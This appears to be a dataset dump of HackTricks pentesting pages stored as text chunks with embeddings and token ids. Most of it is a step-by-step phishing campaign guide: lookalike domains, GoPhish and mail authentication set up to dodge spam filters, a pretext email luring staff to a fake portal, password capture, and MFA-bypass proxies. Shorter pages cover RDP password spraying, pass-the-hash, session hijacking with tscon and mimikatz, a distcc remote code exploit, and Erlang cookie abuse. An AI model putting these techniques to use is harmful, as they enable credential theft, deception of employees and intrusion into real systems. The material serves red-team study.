text stringlengths 5 3.08k | embedding list | tokens list | database stringclasses 5
values | file stringlengths 5 9 | chunk int64 0 192 |
|---|---|---|---|---|---|
[CLS] phishing methodologymethodology1. recon the victim1. select the victim domain. 2. perform some basic web enumeration searching for login portals used by the victim and decide which one you will impersonate. 3. use some osint to find emails. 2. prepare the environment1. buy the domain you are going to use for the phishing assessment2. configure the email service related records ( spf, dmarc, dkim, rdns ) 3. configure the vps with gophish3. prepare the campaign1. prepare the email template2. prepare the web page to steal the credentials4. launch the campaign! generate similar domain names or buy a trusted domaindomain name variation techniqueskeyword : the domain name contains an important keyword of the original domain ( e. g., zelster. com - management. com ). hypened subdomain : change the dot for a hyphen of a subdomain ( e. g., www - zelster. com ). new tld : same domain using a new tld ( e. g., zelster. org ) homoglyph : it replaces a letter in the domain name with letters that look similar ( e. g., zelfser. com ). transposition : it swaps two letters within the domain name ( e. g., zelster. com ). singularization / pluralization : adds or removes “ s ” at the end of the domain name ( e. g., zeltsers. com ). omission : it removes one of the letters from the domain name ( e. g., zelser. com ). repetition : it repeats one of the letters in the domain name ( e. g., zeltsser. com ). replacement : like homoglyph but less stealthy. it replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard ( e. g, zektser. com ). subdomained : introduce a dot inside the domain name ( e. g., ze. lster. com ). insertion : it inserts a letter into the domain name ( e. g., zerltser. com ). missing dot : append the tld to the domain name. ( e. g., zelstercom. com ) automatic toolsdnstwist | [
0.3702225983142853,
-0.11527068167924881,
0.04921624809503555,
0.3202267587184906,
-0.6187260746955872,
-0.12288230657577515,
-0.5233007073402405,
0.41072750091552734,
0.4721844494342804,
0.716263473033905,
0.22979018092155457,
-0.6318180561065674,
0.2707885503768921,
0.31109321117401123,
... | [
101,
13569,
12227,
16134,
11368,
6806,
3527,
6483,
2487,
1012,
28667,
2239,
1996,
6778,
2487,
1012,
7276,
1996,
6778,
5884,
1012,
1016,
1012,
4685,
2070,
3937,
4773,
4372,
17897,
8156,
6575,
2005,
8833,
2378,
27388,
2109,
2011,
1996,
6778,
... | hack_tricks | 10.txt | 0 |
##urlcrazywebsiteshttps : / / dnstwist. it / https : / / dnstwister. report / https : / / www. internetmarketingninjas. com / tools / free - tools / domain - typo - generator / bitflippingin the world of computing, everything is stored in bits ( zeros and ones ) in memory behind the scenes. this applies to domains too. for example, windows. com becomes 01110111... in the volatile memory of your computing device. however, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? that is one of the 0's becomes a 1 and vice versa. applying this concept to dns request, it's possible that the domain requested that arrives to the dns server isn't the same as the domain initially requested. for example a 1 bit modification in the domain windows. com can transform it into windnws. com. attackers may register as many bit - flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure. for more information read url a trusted domainyou can search in url for a expired domain that you could use. in order to make sure that the expired domain that you are going to buy has already a good seo you could search how is it categorized in : http : / / www. fortiguard. com / webfilterhttps : / / urlfiltering. paloaltonetworks. com / query / discovering emailshttps : / / github. com / laramies / theharvester ( 100 % free ) https : / / phonebook. cz / ( 100 % free ) https : / / maildb. io / https : / / hunter. io / https : / / anymailfinder. com / in order to discover more valid email addresses or verify the ones you have already discovered you can check if you can brute - force them smtp servers of the victim. learn how to verify / discover email address here. moreover, don't forget that if the users use any web portal to access their mails, you can check if it's vulnerable to username brute force, and exploit the vulnerability if possible. configuring gophishinstallationyou can download it from url and decompress it inside / opt / gophish and execute / opt / | [
0.07750155031681061,
-0.4057018756866455,
-0.05608614906668663,
0.4636824131011963,
-0.44682908058166504,
-0.468203604221344,
-0.3171080946922302,
0.5048789381980896,
0.16298773884773254,
1.063327431678772,
0.26178768277168274,
-0.5559447407722473,
0.3681957721710205,
-0.03675076737999916,... | [
3126,
15472,
20409,
2100,
8545,
5910,
7616,
11039,
25856,
2015,
1024,
1013,
1013,
1040,
23808,
9148,
3367,
1012,
2009,
1013,
16770,
1024,
1013,
1013,
1040,
23808,
9148,
6238,
1012,
3189,
1013,
16770,
1024,
1013,
1013,
7479,
1012,
4274,
2028... | hack_tricks | 10.txt | 1 |
gophish / gophish you will be given a password for the admin user in port 3333 in the output. therefore, access that port and use those credentials to change the admin password. you may need to tunnel that port to local : ssh - l 3333 : 127. 0. 0. 1 : 3333 < user > @ < ip > configurationtls certificate configurationbefore this step you should have already bought the domain you are going to use and it must be pointing to the ip of the vps where you are configuring gophish. domain = " < domain > " wget url + x certbot - autosudo apt install snapdsudo snap install coresudo snap refresh coresudo apt - get remove certbotsudo snap install - - classic certbotsudo ln - s / snap / bin / certbot / usr / bin / certbotcertbot certonly - - standalone - d " $ domain " mkdir / opt / gophish / ssl _ keyscp " / etc / letsencrypt / live / $ domain / privkey. pem " / opt / gophish / ssl _ keys / key. pemcp " / etc / letsencrypt / live / $ domain / fullchain. pem " / opt / gophish / ssl _ keys / key. crtmail configurationstart installing : apt - get install postfixthen add the domain to the following files : / etc / postfix / virtual _ domains / etc / postfix / transport / etc / postfix / virtual _ regexpchange also the values of the following variables inside / etc / postfix / main. cfmyhostname = < domain > mydestination = $ myhostname, < domain >, localhost. com, localhostfinally modify the files / etc / hostname and / etc / mailname to your domain name and restart your vps. now, create a dns a record of mail. < domain > pointing to the ip address of the vps and a dns mx record pointing to mail. < domain > now lets test to send an email : apt install mailutilsecho " this is the body of the email " | mail - s " this is the subject line " [ email protected ] gophi | [
-0.09584644436836243,
-0.2241470366716385,
-0.014247466810047626,
0.12679198384284973,
-0.7501558661460876,
-0.45510536432266235,
-0.43737882375717163,
0.5308509469032288,
0.13847129046916962,
0.8361965417861938,
-0.5482646226882935,
-0.5291095972061157,
0.7853465676307678,
-0.454703748226... | [
2175,
21850,
4095,
1013,
2175,
21850,
4095,
2017,
2097,
2022,
2445,
1037,
20786,
2005,
1996,
4748,
10020,
5310,
1999,
3417,
21211,
2509,
1999,
1996,
6434,
1012,
3568,
1010,
3229,
2008,
3417,
1998,
2224,
2216,
22496,
2000,
2689,
1996,
4748,
... | hack_tricks | 10.txt | 2 |
##sh configurationstop the execution of gophish and lets configure it. modify / opt / gophish / config. json to the following ( note the use of url " admin _ server " : { " listen _ url " : " 127. 0. 0. 1 : 3333 ", " use _ tls " : true, " cert _ path " : " gophish _ admin. crt ", " key _ path " : " gophish _ admin. key " }, " phish _ server " : { " listen _ url " : " 0. 0. 0. 0 : 443 ", " use _ tls " : true, " cert _ path " : " / opt / gophish / ssl _ keys / key. crt ", " key _ path " : " / opt / gophish / ssl _ keys / key. pem " }, " db _ name " : " sqlite3 ", " db _ path " : " gophish. db ", " migrations _ prefix " : " db / db _ ", " contact _ address " : " ", " logging " : { " filename " : " ", " level " : " " } } configure gophish servicein order to create the gophish service so it can be started automatically and managed a service you can create the file / etc / init. d / gophish with the following content : #! / bin / bash # / etc / init. d / gophish # initialization file for stop / start of gophish application server # # chkconfig : - 64 36 # description : stops / starts gophish application server # processname : gophish # config : / opt / gophish / config. json # from url define script variablesprocessname = gophishprocess = gophishappdirectory = / opt / gophishlogfile = / var / log / gophish / gophish. logerrfile = / var / log / gophish / gophish. errorstart ( ) { echo'starting'$ { processname } '...'cd $ { appdirectory } nohup. / $ process > > $ logfile | [
-0.12716136872768402,
-0.46651050448417664,
-0.4774862825870514,
0.3416081368923187,
-0.7823657393455505,
-0.23653484880924225,
-0.3066209852695465,
0.6843766570091248,
0.9029823541641235,
0.4995335340499878,
-0.19109384715557098,
-0.13631343841552734,
0.7631897926330566,
-0.44284310936927... | [
4095,
22354,
14399,
1996,
7781,
1997,
2175,
21850,
4095,
1998,
11082,
9530,
8873,
27390,
2063,
2009,
1012,
19933,
1013,
23569,
1013,
2175,
21850,
4095,
1013,
9530,
8873,
2290,
1012,
1046,
3385,
2000,
1996,
2206,
1006,
3602,
1996,
2224,
1997... | hack_tricks | 10.txt | 3 |
2 > > $ errfile & sleep 1 } stop ( ) { echo'stopping'$ { processname } '...'pid = $ ( / bin / pidof $ { process } ) kill $ { pid } sleep 1 } status ( ) { pid = $ ( / bin / pidof $ { process } ) if [ [ " $ pid "! = " " | " $ pid "! = " " ] ] ; then echo $ { processname }'is running...'else echo $ { processname }'is not running...'fi } case $ 1 in start | stop | status ) " $ 1 " ; ; esacfinish configuring the service and checking it doing : mkdir / var / log / gophishchmod + x / etc / init. d / gophishupdate - rc. d gophish defaults # check the serviceservice gophish startservice gophish statusss - l | grep " 3333 \ | 443 " service gophish stopconfiguring mail server and domainwaitthe older a domain is the less probable it's going to be caught as spam. then you should wait as much time as possible ( at least 1week ) before the phishing assessment. note that even if you have to wait a week you can finish configuring everything now. configure reverse dns ( rdns ) recordset a rdns ( ptr ) record that resolves the ip address of the vps to the domain name. sender policy framework ( spf ) recordyou must configure a spf record for the new domain. if you don't know what is a spf record read this page. you can use url to generate your spf policy ( use the ip of the vps machine ) this is the content that must be set inside a txt record inside the domain : v = spf1 mx a ip4 : ip. ip. ip. ip? alldomain - based message authentication, reporting & conformance ( dmarc ) recordyou must configure a dmarc record for the new domain. if you don't know what is a dmarc record read this page. you have to create a new dns txt record pointing the hostname _ dmarc. < domain > | [
0.3057299256324768,
0.2515788972377777,
-0.10079869627952576,
0.5253509283065796,
-0.20311979949474335,
-0.6285825371742249,
-0.6690904498100281,
0.16870495676994324,
0.6889278888702393,
0.8213364481925964,
0.013961294665932655,
-0.16530105471611023,
0.42399629950523376,
0.0405252799391746... | [
1016,
1028,
1028,
1002,
9413,
12881,
9463,
1004,
3637,
1015,
1065,
2644,
1006,
1007,
1063,
9052,
1005,
7458,
1005,
1002,
1063,
2832,
18442,
1065,
1005,
1012,
1012,
1012,
1005,
14255,
2094,
1027,
1002,
1006,
1013,
8026,
1013,
14255,
3527,
... | hack_tricks | 10.txt | 4 |
with the following content : v = dmarc1 ; p = nonedomainkeys identified mail ( dkim ) you must configure a dkim for the new domain. if you don't know what is a dmarc record read this page. this tutorial is based on : url need to concatenate both b64 values that the dkim key generates : v = dkim1 ; h = sha256 ; k = rsa ; p = miibijanbgkqhkig9w0baqefaaocaq8amiibcgkcaqea0wpibdqptzyk81njjqcrchichzxop8a1wjbsontka2x9qxczs + ixkvw + + qswdtdyu3q0ofnr0yd / tmg / y2bbgoegee + ytug2aegw8xx42nljq2d1pb2lrqpw4ixefronxu5hfksm7dyzml1gz1u0pr5x4izch0wophiq326qjxjzm79e1nth3xj " " y9n / dt3 + fvnibmupzxe216tdfuifkm6tl6o / axnsbswms1th812euno8xrpsdxjzflb9q3vbmkvwig4p538mholgzudebg563vv66u8d7uuzgyxyt4ws8nvm3qbmg0qkpwzakp + badlkosb9j2nupk4aj9kb5swidaqabtest your email configuration scoreyou can do that using url just access the page and send an email to the address they give you : echo " this is the body of the email " | mail - s " this is the subject line " [ email protected ] you can also check your email configuration sending an email to [ email protected ] and reading the response ( for this you will need to open port 25 and see the response in the file / var / mail / root if you send the email a as root ). check that you pass all the tests : = = = = = = = = = = = = = = = = = = = | [
-0.07936142385005951,
-0.5732943415641785,
0.24818359315395355,
0.5757335424423218,
0.11141268163919449,
-0.19654853641986847,
-0.4647172689437866,
0.03715990111231804,
0.5883604288101196,
1.508926510810852,
0.24644725024700165,
0.21588854491710663,
0.5738891363143921,
-0.2259213626384735,... | [
2007,
1996,
2206,
4180,
1024,
1058,
1027,
1040,
7849,
2278,
2487,
1025,
1052,
1027,
3904,
9527,
8113,
14839,
2015,
4453,
5653,
1006,
1040,
21138,
1007,
2017,
2442,
9530,
8873,
27390,
2063,
1037,
1040,
21138,
2005,
1996,
2047,
5884,
1012,
... | hack_tricks | 10.txt | 5 |
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = summary of results = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = spf check : passdomainkeys check : neutraldkim check : passsender - id check : passspamassassin check : hamalternatively, you can send a message to a gmail address that you control, view the received email ’ s headers in your gmail inbox, dkim = pass should be present in the authentication - results header field. authentication - results : mx. google. com ; spf = pass ( google. com : domain of [ email protected ] designates - - - as permitted sender ) [ email protected ] ; dkim = pass [ email protected ] ; removing from spamhouse blacklistthe page www. mail - tester. com can indicate you if you your domain is being blocked by spamhouse. you can request your domain / ip to be removed at : url from microsoft blacklistyou can request your domain / ip to be removed at url & launch gophish campaignsending profileset some name to identify the sender profiledecide from which account are you going to send the phishing emails. suggestions : noreply, support, servicedesk, salesforce... you can leave blank the username and password, but make sure to check the ignore certificate errorsit's recommended to use the " send test email " functionality to test that everything is working. i would recommend to send the test emails to 10min mails addresses in order to avoid getting blacklisted making tests. email templateset some name to identify the templatethen write a subject ( nothing estrange, just something you could expect to read in a regular email ) make sure you have checked " add tracking image " write the email template ( you can use variables like in the following example ) : < html > < head > < title > < / title > < / head > < body > < p class = " msonormal " > < span style = " font - size : 10. 0pt ; font - family | [
0.3744626045227051,
-0.2673829197883606,
0.20685537159442902,
1.0083547830581665,
-0.6182175278663635,
-0.06501943618059158,
-0.6199203729629517,
0.7037044167518616,
0.4979247748851776,
0.8011704683303833,
-0.19074136018753052,
0.2066163569688797,
0.47197413444519043,
-0.4218187928199768,
... | [
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1265... | hack_tricks | 10.txt | 6 |
: & quot ; verdana & quot ;, sans - serif ; color : black " > dear { {. firstname } } { {. lastname } }, < / span > < / p > < p class = " msonormal " > < span style = " font - size : 10. 0pt ; font - family : & quot ; verdana & quot ;, sans - serif ; color : black " > as you may be aware, due to the large number of employees working from home, the " platform name " platform is being migrated to a new domain with an improved and more secure version. to finalize account migration, please use the following link to log into the new hr portal and move your account to the new site : < a href = " { {. url } } " > " platform name " login portal < / a > < br / > < br / > please note : we require all users to move their accounts by 04 / 01 / 2021. failure to confirm account migration may prevent you from logging into the application after the migration process is complete. < br / > < br / > regards, < / span > < / p > write here some signature of someone from the company < p > { {. tracker } } < / p > < / body > < / html > note that in order to increase the credibility of the email, it's recommended to use some signature from an email from the client. suggestions : send an email to a non existent address and check if the response has any signature. search for public emails like [ email protected ] or [ email protected ] or [ email protected ] and send them an email and wait for the response. try to contact some valid discovered email and wait for the responsethe email template also allows to attach files to send. if you would also like to steal ntlm challenges using some specially crafted files / documents read this page. landing pagewrite a namewrite the html code of the web page. note that you can import web pages. mark capture submitted data and capture passwordsset a redirectionusually you will need to modify the html code of the page and make some tests in local ( maybe using some apache server ) until you like the results. then, write that html code in the box. note that if you need to use some static resources for the html ( maybe some css and js pages ) you can save them in / opt / go | [
0.36701977252960205,
-0.5800145268440247,
-0.3517020642757416,
0.491944283246994,
0.02000923454761505,
-0.052109748125076294,
0.21036764979362488,
0.2234904170036316,
0.3549704849720001,
0.7151791453361511,
0.19395852088928223,
0.11257635056972504,
0.24719081819057465,
-0.13430240750312805... | [
1024,
1004,
22035,
2102,
1025,
2310,
26992,
2050,
1004,
22035,
2102,
1025,
1010,
20344,
1011,
14262,
10128,
1025,
3609,
1024,
2304,
1000,
1028,
6203,
1063,
1063,
1012,
2034,
18442,
1065,
1065,
1063,
1063,
1012,
2197,
18442,
1065,
1065,
1010... | hack_tricks | 10.txt | 7 |
##phish / static / endpoint and then access them from / static / < filename > for the redirection you could redirect the users to the legit main web page of the victim, or redirect them to / static / migration. html for example, put some spinning wheel ( https : / / loading. io / ) for 5 seconds and then indicate that the process was successful. users & groupsset a nameimport the data ( note that in order to use the template for the example you need the firstname, last name and email address of each user ) campaignfinally, create a campaign selecting a name, the email template, the landing page, the url, the sending profile and the group. note that the url will be the link sent to the victimsnote that the sending profile allow to send a test email to see how will the final phishing email looks like : i would recommend to send the test emails to 10min mails addresses in order to avoid getting blacklisted making tests. once everything is ready, just launch the campaign! website cloningif for any reason you want to clone the website check the following page : clone a websitebackdoored documents & filesin some phishing assessments ( mainly for red teams ) you will want to also send files containing some kind of backdoor ( maybe a c2 or maybe just something that will trigger an authentication ). check out the following page for some examples : phishing files & documentsphishing mfavia proxy mitmthe previous attack is pretty clever as you are faking a real website and gathering the information set by the user. unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2fa, this information won't allow you to impersonate the tricked user. this is where tools like evilginx2, credsniper and muraena are useful. this tool will allow you to generate a mitm like attack. basically, the attacks works in the following way : 1. you impersonate the login form of the real webpage. 2. the user send his credentials to your fake page and the tool send those to the real webpage, checking if the credentials work. 3. if the account is configured with 2fa, the mitm page will ask for it and once the user introduces it the tool will send it to the real web page. 4. once the user is authenticated you ( as attacker ) will have captured | [
-0.17783038318157196,
-0.3615454435348511,
-0.3810688555240631,
0.2773900628089905,
-0.34409624338150024,
-0.21682114899158478,
-0.22553259134292603,
0.13650630414485931,
0.7023717164993286,
0.6474058032035828,
0.35639598965644836,
-0.16365939378738403,
0.6250550150871277,
-0.1839069128036... | [
21850,
4095,
1013,
10763,
1013,
2203,
8400,
1998,
2059,
3229,
2068,
2013,
1013,
10763,
1013,
1026,
5371,
18442,
1028,
2005,
1996,
2417,
7442,
7542,
2017,
2071,
2417,
7442,
6593,
1996,
5198,
2000,
1996,
4190,
4183,
2364,
4773,
3931,
1997,
... | hack_tricks | 10.txt | 8 |
the credentials, the 2fa, the cookie and any information of every interaction your while the tool is performing a mitm. via vncwhat if instead of sending the victim to a malicious page with the same looks as the original one, you send him to a vnc session with a browser connected to the real web page? you will be able to see what he does, steal the password, the mfa used, the cookies... you can do this with evilnvncdetecting the detectionobviously one of the best ways to know if you have been busted is to search your domain inside blacklists. if it appears listed, somehow your domain was detected as suspicions. one easy way to check if you domain appears in any blacklist is to use url there are other ways to know if the victim is actively looking for suspicions phishing activity in the wild as explained in : detecting phishingyou can buy a domain with a very similar name to the victims domain and / or generate a certificate for a subdomain of a domain controlled by you containing the keyword of the victim's domain. if the victim perform any kind of dns or http interaction with them, you will know that he is actively looking for suspicious domains and you will need to be very stealth. evaluate the phishinguse phishious to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful. [SEP] | [
0.09712840616703033,
-0.33236005902290344,
-0.02333000674843788,
0.45154431462287903,
-0.10084272176027298,
-0.4254166781902313,
-0.51799476146698,
0.44350069761276245,
0.3867063522338867,
0.6670601963996887,
0.2840171754360199,
0.08798225969076157,
0.49038904905319214,
-0.3155405223369598... | [
1996,
22496,
1010,
1996,
1016,
7011,
1010,
1996,
17387,
1998,
2151,
2592,
1997,
2296,
8290,
2115,
2096,
1996,
6994,
2003,
4488,
1037,
10210,
2213,
1012,
3081,
1058,
12273,
2860,
12707,
2065,
2612,
1997,
6016,
1996,
6778,
2000,
1037,
24391,
... | hack_tricks | 10.txt | 9 |
[CLS] 3389 - pentesting rdpdragonjar security conference es un evento internacional de ciberseguridad con mas de una decada que se celebrara el 7 y 8 de septiembre de 2023 en bogota, colombia. es un evento de gran contenido tecnico donde se presentan las ultimas investigaciones en espanol que atrae a hackers e investigadores de todo el mundo. ¡ registrate ahora en el siguiente enlace y no te pierdas esta gran conferencia! : congreso de hackers - dragonjar security conference - congreso de hackerscongreso de hackersbasic informationremote desktop protocol ( rdp ) is a proprietary protocol developed by microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. the user employs rdp client software for this purpose, while the other computer must run rdp server software ( from here ). default port : 3389port state service3389 / tcp open ms - wbt - serverenumerationautomaticnmap - - script " rdp - enum - encryption or rdp - vuln - ms12 - 020 or rdp - ntlm - info " - p 3389 - t4 < ip > it checks the available encryption and dos vulnerability ( without causing dos to the service ) and obtains ntlm windows info ( versions ). brute forcebe careful, you could lock accountspassword sprayingbe careful, you could lock accounts # url - b rdp - s 192. 168. 220. 142 / 32 - u users. txt - c'password123'# hydrahydra - l usernames. txt - p'password123'192. 168. 2. 143 rdpconnect with known credentials / hashrdesktop - u < username > < ip > rdesktop - d < domain > - u < username > - p < password > < ip > xfreerdp [ / d : domain ] / u : < username > / p : < password > / v : < ip > xfreerdp [ / d : domain ] / u : < username > / pth : < hash > / v : < ip > # pass the hashcheck known credentials against rdp servicesrdp _ check. py from imp | [
-0.41440948843955994,
-0.02126277983188629,
-0.5216739773750305,
0.5339697599411011,
0.22922569513320923,
0.31555357575416565,
-0.13133510947227478,
0.40443262457847595,
-0.24458041787147522,
1.0178438425064087,
-0.20591984689235687,
0.12961256504058838,
0.6650450825691223,
-0.446263909339... | [
101,
27908,
2683,
1011,
7279,
22199,
2075,
16428,
17299,
29181,
2239,
16084,
3036,
3034,
9686,
4895,
2724,
2080,
27607,
2139,
25022,
17198,
13910,
9496,
14697,
9530,
16137,
2139,
14477,
11703,
8447,
10861,
7367,
8292,
2571,
10024,
2527,
3449,... | hack_tricks | 100.txt | 0 |
##acket let you check if some credentials are valid for a rdp service : rdp _ check < domain > / < name > : < password > @ < ip > dragonjar security conference es un evento internacional de ciberseguridad con mas de una decada que se celebrara el 7 y 8 de septiembre de 2023 en bogota, colombia. es un evento de gran contenido tecnico donde se presentan las ultimas investigaciones en espanol que atrae a hackers e investigadores de todo el mundo. ¡ registrate ahora en el siguiente enlace y no te pierdas esta gran conferencia! : congreso de hackers - dragonjar security conference - congreso de hackerscongreso de hackersattackssession stealingwith system permissions you can access any opened rdp session by any user without need to know the password of the owner. get openned sessions : query useraccess to the selected sessiontscon < id > / dest : < sessionname > now you will be inside the selected rdp session and you will have impersonate a user using only windows tools and features. important : when you access an active rdp sessions you will kickoff the user that was using it. you could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user ( passwords in notepad without been saved in disk, other rdp sessions opened in other machines... ) mimikatzyou could also use mimikatz to do this : ts : : sessions # get sessionsts : : remote / id : 2 # connect to the sessionsticky - keys & utilmancombining this technique with stickykeys or utilman you will be able to access a administrative cmd and any rdp session anytimeyou can search rdps that have been backdoored with one of these techniques already with : url process injectionif someone from a different domain or with better privileges login via rdp to the pc where you are an admin, you can inject your beacon in his rdp session process and act as him : rdp sessions abuseadding user to rdp groupnet localgroup " remote desktop users " userloginname / addshadow attackautordpwn is a post - exploitation framework created in powershell, designed primarily to | [
0.14988496899604797,
-0.2242877185344696,
-0.14345620572566986,
0.6894001364707947,
0.11852791160345078,
0.28033632040023804,
-0.3615683317184448,
0.2545129358768463,
-0.025300776585936546,
0.6340997219085693,
-0.11292126029729843,
-0.1875695288181305,
0.09813208878040314,
-0.5114831328392... | [
8684,
3388,
2292,
2017,
4638,
2065,
2070,
22496,
2024,
9398,
2005,
1037,
16428,
2361,
2326,
1024,
16428,
2361,
1035,
4638,
1026,
5884,
1028,
1013,
1026,
2171,
1028,
1024,
1026,
20786,
1028,
1030,
1026,
12997,
1028,
5202,
16084,
3036,
3034,
... | hack_tricks | 100.txt | 1 |
automate the shadow attack on microsoft windows computers. this vulnerability ( listed as a feature by microsoft ) allows a remote attacker to view his victim's desktop without his consent, and even control it on demand, using tools native to the operating system itself. joelgmsec / autordpwngithubhacktricks automatic commandsprotocol _ name : rdp # protocol abbreviation if there is one. port _ number : 3389 # comma separated if there is more than one. protocol _ description : remote desktop protocol # protocol abbreviation spelled outentry _ 1 : name : notes description : notes for rdp note : | remote desktop protocol ( rdp ) is a proprietary protocol developed by microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. the user employs rdp client software for this purpose, while the other computer must run rdp server software url name : nmap description : nmap with rdp scripts command : nmap - - script " rdp - enum - encryption or rdp - vuln - ms12 - 020 or rdp - ntlm - info " - p 3389 - t4 { ip } dragonjar security conference es un evento internacional de ciberseguridad con mas de una decada que se celebrara el 7 y 8 de septiembre de 2023 en bogota, colombia. es un evento de gran contenido tecnico donde se presentan las ultimas investigaciones en espanol que atrae a hackers e investigadores de todo el mundo. ¡ registrate ahora en el siguiente enlace y no te pierdas esta gran conferencia! : congreso de hackers - dragonjar security conference - congreso de hackerscongreso de hackersnetwork services pentesting - [SEP] | [
0.2298751026391983,
-0.5673342943191528,
-0.3687923550605774,
0.5783786177635193,
-0.4897557497024536,
-0.02595975436270237,
-0.4776343107223511,
-0.012789696455001831,
-0.32275858521461487,
1.4735599756240845,
0.31079643964767456,
0.27648261189460754,
0.6461960673332214,
0.074646286666393... | [
8285,
8585,
1996,
5192,
2886,
2006,
7513,
3645,
7588,
1012,
2023,
18130,
1006,
3205,
2004,
1037,
3444,
2011,
7513,
1007,
4473,
1037,
6556,
17346,
2000,
3193,
2010,
6778,
1005,
1055,
15363,
2302,
2010,
9619,
1010,
1998,
2130,
2491,
2009,
2... | hack_tricks | 100.txt | 2 |
[CLS] 3632 - pentesting distccbasic informationdistcc is designed to speed up compilation by taking advantage of unused processing power on other computers. a machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installeddefault port : 3632port state service3632 / tcp open distccdexploitationcheck if it's vulnerable to cve - 2004 - 2687 to execute arbitrary code : msf5 > use exploit / unix / misc / distcc _ execnmap - p 3632 < ip > - - script distcc - exec - - script - args = " distcc - exec. cmd ='id'" shodani don't think shodan detects this service. resourceshttps : / / www. rapid7. com / db / modules / exploit / unix / misc / distcc _ exechttps : / / gist. github. com / darkcodersc / 4dbf6229a93e75c3bdf6b467e67a9855post created by alex b ( @ r1p ) network services pentesting - [SEP] | [
-0.4992540180683136,
-0.06030625104904175,
0.20337195694446564,
-0.10290466994047165,
-0.14500373601913452,
-0.25404131412506104,
-0.9975430965423584,
-0.10199116915464401,
-0.24809637665748596,
1.3901371955871582,
0.15186414122581482,
0.07500458508729935,
0.15298432111740112,
-0.881548166... | [
101,
4029,
16703,
1011,
7279,
22199,
2075,
4487,
3367,
9468,
22083,
2594,
2592,
10521,
13535,
2278,
2003,
2881,
2000,
3177,
2039,
6268,
2011,
2635,
5056,
1997,
15171,
6364,
2373,
2006,
2060,
7588,
1012,
1037,
3698,
2007,
4487,
3367,
9468,
... | hack_tricks | 101.txt | 0 |
[CLS] 3690 - pentesting subversion ( svn server ) basic informationsubversion is one of many version control options available today. it's often abbreviated as svn. subversion is used for maintaining current and historical versions of projects. subversion is an open source centralized version control system. it's licensed under apache. it's also referred to as a software version and revisioning control system. default port : 3690port state service3690 / tcp open svnserve subversionbanner grabbingnc - vn 10. 10. 10. 10 3690enumerationsvn ls svn : / / 10. 10. 10. 203 # listsvn log svn : / / 10. 10. 10. 203 # commit historysvn checkout svn : / / 10. 10. 10. 203 # download the repositorysvn up - r 2 # go to revision 2 inside the checkout foldernetwork services pentesting - [SEP] | [
0.8490172624588013,
0.13029518723487854,
0.2755658030509949,
-0.7369337677955627,
-0.2514260709285736,
0.31610965728759766,
-0.3071143329143524,
-0.334142804145813,
-0.15381617844104767,
0.8400854468345642,
0.5042295455932617,
-0.11159969121217728,
1.0317391157150269,
-0.24846920371055603,... | [
101,
4029,
21057,
1011,
7279,
22199,
2075,
4942,
27774,
1006,
17917,
2078,
8241,
1007,
3937,
2592,
6342,
2497,
27774,
2003,
2028,
1997,
2116,
2544,
2491,
7047,
2800,
2651,
1012,
2009,
1005,
1055,
2411,
12066,
2004,
17917,
2078,
1012,
4942,
... | hack_tricks | 102.txt | 0 |
[CLS] 3702 / udp - pentesting ws - discoverybasic informationthe web services dynamic discovery protocol ( ws - discovery ) is a multicast discovery protocol that locates services on a local network. in ws - discovery terminology, a target service is an endpoint that makes itself available for discovery, whereas a client is an endpoint that searches for target services. both use soap queries over udp to the 239. 255. 255. 250 multicast address with the destination udp port 3702. a target service sends a multicast hello 1 when it joins a network. the target service can receive a multicast probe 2, a message sent by a client searching for a target service by type, at any time. the type is an identifier for the endpoint. for example, an ip camera could have networkvideotransmitter as a type. it might also send a unicast probe match3 if the target service matches a probe ( other matching target services might also send unicast probe matches ). similarly, a target service might receive a multicast resolve4 at any time, a message sent by aclient searching for a target by name, and send a unicast resolve match5 if it ’ s the target of a resolve. finally, when a target service leaves a network, it makes an effort to send a multicast bye 6. default port : 3702port state service3702 / udp open | filtered unknown | wsdd - discover : | devices | message id : 39a2b7f2 - fdbd - 690c - c7c9 - deadbeefceb3 | address : url type : device wprt : printdevicetypenetwork services pentesting - [SEP] | [
-0.3362027704715729,
0.13349689543247223,
0.181862011551857,
0.23146063089370728,
-0.6404101252555847,
-0.24375183880329132,
-1.0274276733398438,
0.6171619296073914,
0.6652796864509583,
0.9625456929206848,
0.2902814447879791,
-0.29920172691345215,
0.8143467307090759,
0.6318488121032715,
... | [
101,
16444,
2475,
1013,
20904,
2361,
1011,
7279,
22199,
2075,
1059,
2015,
1011,
5456,
22083,
2594,
2592,
10760,
4773,
2578,
8790,
5456,
8778,
1006,
1059,
2015,
1011,
5456,
1007,
2003,
1037,
4800,
10526,
5456,
8778,
2008,
12453,
2015,
2578,
... | hack_tricks | 103.txt | 0 |
[CLS] 4369 - pentesting erlang port mapper daemon ( epmd ) basic infothe erlang port mapper daemon is used to coordinate distributed erlang instances. his job is to keep track of which node name listens on which address. hence, epmd map symbolic node names to machine addresses. default port : 4369port state service version4369 / tcp open epmd erlang port mapper daemonthis is used by default on rabbitmq and couchdb installations. enumerationmanualecho - n - e " \ x00 \ x01 \ x6e " | nc - vn < ip > 4369 # via erlang, download package from here : url - i esl - erlang _ 23. 0 - 1 ~ ubuntu ~ xenial _ amd64. debapt - get install erlangerl # once erlang is installed this will promp an erlang terminal1 > net _ adm : names ('< host >'). # this will return the listen addressesautomaticnmap - sv - pn - n - t4 - p 4369 - - script epmd - info < ip > port state service version4369 / tcp open epmd erlang port mapper daemon | epmd - info : | epmd _ port : 4369 | nodes : | bigcouch : 11502 | freeswitch : 8031 | ecallmgr : 11501 | kazoo _ apps : 11500 | _ kazoo - rabbitmq : 25672erlang cookie rceremote connectionif you can leak the authentication cookie you will be able to execute code on the host. usually, this cookie is located in ~ /. erlang. cookie and is generated by 